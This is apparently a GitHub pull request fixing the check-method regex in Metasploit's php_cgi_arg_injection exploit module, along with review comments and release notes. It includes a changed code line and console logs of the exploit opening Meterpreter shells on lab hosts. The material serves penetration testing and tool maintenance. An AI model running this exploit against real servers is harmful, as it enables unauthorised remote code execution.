Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

php_cgi_arg_injection: Fix check regex match to detect code html tag #17823

Merged
merged 2 commits into from
Apr 5, 2023

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Mar 27, 2023

Fixes #17822 by replacing:

response.body =~ /\<code\>\<span style.*\&lt\;\?/mi

With:

response.body.to_s.lstrip =~ /^<code><span style/i

It seems likely that the entire response body would start with the <code> block due to invoking the PHP pre-processor before returning content. However, without access to a bunch of test boxes (and without bothering to dig through 10 year old PHP source), simple checking for the <code> block at start-of-line (instead of start-of-document) seems like a quick and easy approach. lstrip is unlikely to be necessary, but makes the check even more reliable just in case.

Performing case-insensitive matching also seems unnecessary, but that's what the original module used.


Before


msf6 exploit(multi/http/php_cgi_arg_injection) > check
[*] 192.168.200.142:80 - The target is not exploitable.
msf6 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending stage (39927 bytes) to 192.168.200.142
[*] Meterpreter session 10 opened (192.168.200.130:4444 -> 192.168.200.142:50946) at 2023-03-27 00:30:21 -0400

meterpreter > getuid
Server username: www-data
meterpreter > [*] Shutting down Meterpreter...

[*] 192.168.200.142 - Meterpreter session 10 closed.  Reason: User exit
msf6 exploit(multi/http/php_cgi_arg_injection) >

After

msf6 exploit(multi/http/php_cgi_arg_injection) > check
[+] 192.168.200.142:80 - The target is vulnerable.
msf6 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending stage (39927 bytes) to 192.168.200.142
[*] Meterpreter session 9 opened (192.168.200.130:4444 -> 192.168.200.142:50945) at 2023-03-27 00:30:08 -0400

meterpreter > getuid
Server username: www-data
meterpreter > [*] Shutting down Meterpreter...

[*] 192.168.200.142 - Meterpreter session 9 closed.  Reason: Died

return Exploit::CheckCode::Unknown
return CheckCode::Unknown('Connection failed.') unless response

if response.code == 200 && response.body.to_s.lstrip =~ /^<code><span style/i && !datastore['PLESK']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to use xpath with response.get_html_document.xpath(...) instead?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For what reason? Would xpath detect code at the start of line?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No specific reason, xpath is usually preferred when HTML parsing is required. It was just a suggestion, I'm fine with regex too.

@cdelafuente-r7 cdelafuente-r7 self-assigned this Apr 5, 2023
@cdelafuente-r7
Copy link
Contributor

Thanks @bcoles for fixing this. It looks good to me. I tested against Metasploitable 2 and verified this fixed the issue. I'll go ahead and land it.

Before

msf6 exploit(multi/http/php_cgi_arg_injection) > check verbose=true rhosts=10.77.12.39 targeturi=/

[*] Checking uri /
[-] Server responded indicating it was not vulnerable
[*] 10.77.12.39:80 - The target is not exploitable.
msf6 exploit(multi/http/php_cgi_arg_injection) > run verbose=true rhosts=10.77.12.39 targeturi=/

[*] Started bind TCP handler against 10.77.12.39:4444
[*] Sending stage (39927 bytes) to 10.77.12.39
[*] Meterpreter session 1 opened (10.1.100.33:57072 -> 10.77.12.39:4444) at 2023-04-05 16:40:18 +0200

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : metasploitable-201-3-1
OS          : Linux metasploitable-201-3-1 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux

After

msf6 exploit(multi/http/php_cgi_arg_injection) > check verbose=true rhosts=10.77.12.39 targeturi=/

[*] Checking uri /
[+] 10.77.12.39:80 - The target is vulnerable.
msf6 exploit(multi/http/php_cgi_arg_injection) > run verbose=true rhosts=10.77.12.39 targeturi=/

[*] Started bind TCP handler against 10.77.12.39:4444
[*] Sending stage (39927 bytes) to 10.77.12.39
[*] Meterpreter session 1 opened (10.1.100.33:57031 -> 10.77.12.39:4444) at 2023-04-05 16:36:10 +0200

meterpreter > getuid
Server username: www-data
smeterpreter > sysinfo
Computer    : metasploitable-201-3-1
OS          : Linux metasploitable-201-3-1 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux

@cdelafuente-r7 cdelafuente-r7 added the rn-fix release notes fix label Apr 5, 2023
@cdelafuente-r7 cdelafuente-r7 merged commit 5d63175 into rapid7:master Apr 5, 2023
@cdelafuente-r7
Copy link
Contributor

Release Notes

This fixes an issue in the check method where targets with files containing no PHP code were falsely reported as safe.

@bcoles bcoles deleted the php_cgi_arg_injection branch April 5, 2023 17:57
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug module rn-fix release notes fix
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

php_cgi_arg_injection: Strict regex in check method causes false negatives
2 participants